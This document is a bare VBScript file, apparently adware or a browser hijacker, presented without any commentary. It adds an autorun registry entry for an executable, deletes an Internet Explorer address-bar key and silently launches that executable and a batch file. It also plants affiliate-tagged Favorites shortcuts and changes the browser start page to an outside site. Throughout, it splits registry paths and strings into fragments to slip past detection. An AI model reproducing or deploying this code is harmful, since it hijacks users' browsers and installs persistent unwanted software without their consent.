'1120103112
Dim WSHShell
Set WshShell = WScript.CreateObject("WScript.Shell")
Type_Name="REG_SZ"
Key_Data=""
reg2="BaiduZhilan12"
RegPath2="HKEY_LOCAL_MACHINE\So"&"ft"&"wa"&"re\M"&"ic"&"ros"&"oft\Wi"&"nd"&"ows\C"&"urren"&"tVers"&"ion\R"&"u"&"n\"&reg2
Key_Data2="C:\Program Files\Bai"&"du\bd"&"zhilandi."&"e"&"x"&"e"
WshShell.RegWrite RegPath2,Key_Data2,Type_Name
on error resume next 
RegPath5="HKLM\SOF"&"TWA"&"RE\Ad"&"dr"&"essB"&"ar\i"&"ex"&"p\"
WshShell.RegDelete(RegPath5)
Rem
createobject("wscript.shell").run """C:\Program Files\Bai"&"du\bd"&"zhilandi."&"e"&"x"&"e""",0
createobject("wscript.shell").run """C:\Program Files\EditPlus\3112.bat""",0
'1120103112Wednesday17
Favorites = WshShell.SpecialFolders("Favorites")
on error resume next 
Set oUrlLink = WshShell.CreateShortcut(Favorites & "\链"&"接\百"&"度.u"&"rl")
oUrlLink.TargetPath = "http://www.bai"&"du.com/index.php?tn=iewz_dg"
oUrlLink.Save
Set oUrlLink = WshShell.CreateShortcut(Favorites & "\链"&"接\上"&"网"&"导"&"航.u"&"rl")
oUrlLink.TargetPath = "http://www.67"&"8"&"3.com/?n"&"2"
oUrlLink.Save
Set oUrlLink = WshShell.CreateShortcut(Favorites & "\链"&"接\淘"&"宝"&"导"&"购.u"&"rl")
oUrlLink.TargetPath = "C:\Program Files\Meitu\1712\31\taobao\target.lnk"
oUrlLink.Save
Set oUrlLink = WshShell.CreateShortcut(Favorites & "\百"&"度.u"&"rl")
oUrlLink.TargetPath = "http://www.ba"&"idu.com/index.php?tn=iewz_dg"
oUrlLink.Save
Set oUrlLink = WshShell.CreateShortcut(Favorites & "\上"&"网"&"导"&"航.u"&"rl")
oUrlLink.TargetPath = "http://www.67"&"83.c"&"om/?n1"
oUrlLink.Save
Set oUrlLink = WshShell.CreateShortcut(Favorites & "\淘"&"宝"&"导"&"购.u"&"rl")
oUrlLink.TargetPath = "C:\Program Files\Meitu\1712\31\taobao\target.lnk"
oUrlLink.Save
WshShell.regwrite "HKEY_CURRENT_USER\Sof"&"tware\Mi"&"crosoft\In"&"t"&"ern"&"et Expl"&"or"&"er\M"&"a"&"i"&"n\S"&"t"&"ar"&"t P"&"a"&"ge","http://www.mm4000.cn/?0025ee"
wscript.quit